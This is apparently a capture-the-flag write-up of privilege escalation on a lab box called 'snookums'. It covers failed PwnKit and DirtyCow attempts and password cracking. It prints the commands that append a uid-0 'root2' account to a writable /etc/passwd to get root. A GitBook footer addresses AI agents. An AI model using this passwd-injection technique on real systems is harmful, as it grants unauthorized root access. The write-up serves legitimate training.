> For the complete documentation index, see [llms.txt](https://lyethar.gitbook.io/snookums/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lyethar.gitbook.io/snookums/priv-escalation.md).

# Priv Escalation

IPwnkit,

I am not sure if this was the intended way, however. I inspected all ports for mysql and they werent vulnerable because we werent allowed load modules, I also tried dirtycow and dirtycow2 but failed because of a missing library in the system. I tried switching to the other user in this computer named 'michael' but was unable to do anything with him.

![](/files/ZByj3JeQ0YIjgF6QEDnw)

![](/files/S8Ky6Wo8fSSyRmGz7ys5)

![](/files/FPz1c0roHGJuxxseUdKw)

![](/files/TnAA1ML7H1GrT0LuNBUk)

There was another intended way.&#x20;

The db had multiple databases that gave the credentials for user named michael.&#x20;

![](/files/pVRGaHUreOdUHMHlEkE2)

I cracked the password and was able to switch into that user.&#x20;

![](/files/oMa8MReZ2sENbgWO8IpX)

I ran `su michael` with those credentials and was able to find that the user michael had write access to the passwd file.&#x20;

![](/files/wLhqSjhmmiO7CxiMBo4v)

```
[michael@snookums tmp]$ openssl passwd -1 -salt password password 
$1$password$Da2mWXlxe6J7jtww12SNG/
echo 'root2:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:root2:/root:/bin/bash' >> /etc/passwd
su root2 
[root@snookums tmp]# whoami
root
[root@snookums tmp]# id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
[root@snookums tmp]# hostname 
snookums

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://lyethar.gitbook.io/snookums/priv-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
